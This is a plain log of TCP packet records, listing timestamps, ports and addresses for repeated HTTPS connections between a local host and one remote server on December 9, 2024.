Dec 9, 2024 06:49:51.895721912 CET	49819	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.895721912 CET	49819	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.895750046 CET	443	49819	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.308145046 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.351391077 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.357547045 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.357557058 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.361125946 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.361130953 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.752302885 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.752334118 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.752398968 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.752434969 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.752482891 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.753359079 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.753374100 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.753410101 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.753587961 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.753618956 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.753663063 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.762881994 CET	49820	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.762938023 CET	443	49820	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:52.763010979 CET	49820	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.763154030 CET	49820	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:52.763165951 CET	443	49820	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.160671949 CET	443	49816	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.161026001 CET	49816	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.161048889 CET	443	49816	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.161411047 CET	49816	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.161416054 CET	443	49816	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.167779922 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.168145895 CET	49817	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.168168068 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.168625116 CET	49817	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.168629885 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.462259054 CET	443	49818	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.462697983 CET	49818	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.462730885 CET	443	49818	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.463213921 CET	49818	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.463219881 CET	443	49818	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.594301939 CET	443	49816	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.597584009 CET	443	49816	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.597644091 CET	49816	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.597706079 CET	49816	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.597723961 CET	443	49816	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.597734928 CET	49816	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.597739935 CET	443	49816	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.600410938 CET	49821	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.600457907 CET	443	49821	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.600528002 CET	49821	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.600682020 CET	49821	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.600698948 CET	443	49821	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.606401920 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.606432915 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.606590033 CET	49817	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.606599092 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.606780052 CET	49817	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.606796026 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.606934071 CET	49817	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.606956005 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.606992960 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.607049942 CET	49817	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.609622002 CET	443	49819	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.610215902 CET	49822	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.610255003 CET	443	49822	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.610316038 CET	49822	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.610441923 CET	49819	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.610464096 CET	443	49819	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.611327887 CET	49822	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.611329079 CET	49819	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.611334085 CET	443	49819	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.611346006 CET	443	49822	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.895343065 CET	443	49818	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.899147987 CET	443	49818	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.899260044 CET	49818	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.899375916 CET	49818	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.899396896 CET	443	49818	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.899408102 CET	49818	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.899414062 CET	443	49818	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.902148008 CET	49823	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.902190924 CET	443	49823	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:53.902266979 CET	49823	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.902405977 CET	49823	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:53.902416945 CET	443	49823	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.042829037 CET	443	49819	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.046763897 CET	443	49819	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.049417019 CET	49824	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.049459934 CET	443	49824	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.049643993 CET	49824	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.049643993 CET	49824	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.049669981 CET	443	49824	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.050657034 CET	49819	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.050657034 CET	49819	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.050657034 CET	49819	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.351388931 CET	49819	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.351412058 CET	443	49819	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.477700949 CET	443	49820	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.478626966 CET	49820	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.478626966 CET	49820	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.478647947 CET	443	49820	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.478660107 CET	443	49820	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.911597013 CET	443	49820	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.914678097 CET	443	49820	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.914830923 CET	49820	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.914917946 CET	49820	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.914931059 CET	443	49820	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.914952993 CET	49820	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.914958000 CET	443	49820	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.918169975 CET	49825	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.918216944 CET	443	49825	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:54.918294907 CET	49825	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.918469906 CET	49825	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:54.918481112 CET	443	49825	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.315177917 CET	443	49821	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.315692902 CET	49821	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.315716982 CET	443	49821	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.316144943 CET	49821	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.316150904 CET	443	49821	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.325417995 CET	443	49822	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.326483965 CET	49822	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.326515913 CET	443	49822	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.326958895 CET	49822	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.326962948 CET	443	49822	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.627377033 CET	443	49823	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.652985096 CET	49823	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.653001070 CET	443	49823	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.654381990 CET	49823	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.654392004 CET	443	49823	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.750499964 CET	443	49821	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.753685951 CET	443	49821	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.753743887 CET	49821	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.753824949 CET	49821	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.753842115 CET	443	49821	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.753850937 CET	49821	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.753855944 CET	443	49821	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.756607056 CET	49826	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.756654978 CET	443	49826	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.756818056 CET	49826	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.756953955 CET	49826	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.756964922 CET	443	49826	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.758641005 CET	443	49822	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.761877060 CET	443	49822	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.761934042 CET	49822	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.761962891 CET	49822	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.761980057 CET	443	49822	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.761997938 CET	49822	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.762002945 CET	443	49822	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.764307022 CET	49827	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.764345884 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.764408112 CET	49827	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.764519930 CET	49827	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.764529943 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.765157938 CET	443	49824	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.765520096 CET	49824	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.765538931 CET	443	49824	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:55.765938997 CET	49824	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:55.765944004 CET	443	49824	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.060710907 CET	443	49823	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.064079046 CET	443	49823	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.064218998 CET	49823	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.064274073 CET	49823	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.064291000 CET	443	49823	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.064301014 CET	49823	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.064306974 CET	443	49823	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.066982031 CET	49828	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.067020893 CET	443	49828	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.067085028 CET	49828	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.067262888 CET	49828	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.067276955 CET	443	49828	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.198461056 CET	443	49824	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.201558113 CET	443	49824	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.201700926 CET	49824	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.204433918 CET	49824	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.204454899 CET	443	49824	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.204467058 CET	49824	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.204473019 CET	443	49824	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.207942009 CET	49829	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.207986116 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.208059072 CET	49829	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.208395958 CET	49829	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.208405018 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.634691954 CET	443	49825	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.635102987 CET	49825	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.635130882 CET	443	49825	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:56.635935068 CET	49825	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:56.635941029 CET	443	49825	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.068674088 CET	443	49825	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.071962118 CET	443	49825	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.072036028 CET	49825	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.079080105 CET	49825	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.079102993 CET	443	49825	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.079452038 CET	49825	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.079458952 CET	443	49825	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.085266113 CET	49830	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.085326910 CET	443	49830	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.085448027 CET	49830	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.085540056 CET	49830	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.085551977 CET	443	49830	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.474782944 CET	443	49826	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.475296021 CET	49826	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.475327015 CET	443	49826	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.475749016 CET	49826	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.475754976 CET	443	49826	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.479083061 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.479513884 CET	49827	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.479541063 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.479892015 CET	49827	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.479898930 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.783997059 CET	443	49828	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.784466028 CET	49828	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.784497976 CET	443	49828	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.784955025 CET	49828	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.784960032 CET	443	49828	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.911215067 CET	443	49826	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.913198948 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.914282084 CET	443	49826	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.914714098 CET	49826	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.915807009 CET	49826	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.915827990 CET	443	49826	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.915842056 CET	49826	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.915847063 CET	443	49826	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.916294098 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.916347027 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.916420937 CET	49827	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.916593075 CET	49827	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.916611910 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.916631937 CET	49827	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.916639090 CET	443	49827	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.919198990 CET	49831	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.919236898 CET	443	49831	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.919658899 CET	49831	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.919950008 CET	49832	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.919987917 CET	443	49832	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.920006990 CET	49831	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.920021057 CET	443	49831	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.920075893 CET	49832	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.920265913 CET	49832	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.920275927 CET	443	49832	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.923546076 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.926956892 CET	49829	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.926963091 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:57.927372932 CET	49829	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:57.927376032 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.217577934 CET	443	49828	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.220818996 CET	443	49828	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.221489906 CET	49828	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.221534967 CET	49828	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.221534967 CET	49828	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.221558094 CET	443	49828	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.221569061 CET	443	49828	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.224246025 CET	49833	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.224288940 CET	443	49833	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.224534988 CET	49833	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.224534988 CET	49833	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.224562883 CET	443	49833	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.356749058 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.360083103 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.360168934 CET	49829	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.360219955 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.360243082 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.360301971 CET	49829	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.360351086 CET	49829	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.360368967 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.360378981 CET	49829	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.360383987 CET	443	49829	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.363058090 CET	49834	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.363115072 CET	443	49834	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.363195896 CET	49834	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.363360882 CET	49834	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.363373995 CET	443	49834	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.800559044 CET	443	49830	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.801006079 CET	49830	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.801033020 CET	443	49830	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:58.801562071 CET	49830	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:58.801568031 CET	443	49830	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.233562946 CET	443	49830	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.237350941 CET	443	49830	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.237415075 CET	49830	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.237483025 CET	49830	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.237505913 CET	443	49830	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.237518072 CET	49830	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.237525940 CET	443	49830	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.240475893 CET	49835	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.240520000 CET	443	49835	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.240585089 CET	49835	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.240753889 CET	49835	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.240765095 CET	443	49835	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.635885954 CET	443	49832	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.636460066 CET	49832	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.636492968 CET	443	49832	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.637048960 CET	49832	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.637054920 CET	443	49832	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.638787031 CET	443	49831	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.639048100 CET	49831	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.639075041 CET	443	49831	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.639388084 CET	49831	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.639393091 CET	443	49831	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.939469099 CET	443	49833	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.939927101 CET	49833	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.939935923 CET	443	49833	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:59.940810919 CET	49833	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:59.940820932 CET	443	49833	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.069331884 CET	443	49832	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.072088003 CET	443	49831	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.072534084 CET	443	49832	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.072604895 CET	49832	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.072650909 CET	49832	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.072650909 CET	49832	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.072678089 CET	443	49832	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.072688103 CET	443	49832	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.075342894 CET	443	49831	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.075417042 CET	49831	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.075469971 CET	49831	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.075491905 CET	443	49831	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.075505018 CET	49831	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.075511932 CET	443	49831	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.075794935 CET	49836	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.075840950 CET	443	49836	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.076076031 CET	49836	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.076311111 CET	49836	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.076323986 CET	443	49836	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.077691078 CET	49837	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.077728033 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.077795029 CET	49837	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.077919006 CET	49837	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.077929020 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.078654051 CET	443	49834	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.078989983 CET	49834	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.079013109 CET	443	49834	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.079402924 CET	49834	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.079406977 CET	443	49834	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.433027029 CET	443	49833	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.433056116 CET	443	49833	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.433101892 CET	443	49833	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.433183908 CET	49833	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.433224916 CET	49833	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.433583975 CET	49833	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.433583975 CET	49833	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.433600903 CET	443	49833	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.433610916 CET	443	49833	13.107.246.63	192.168.2.11
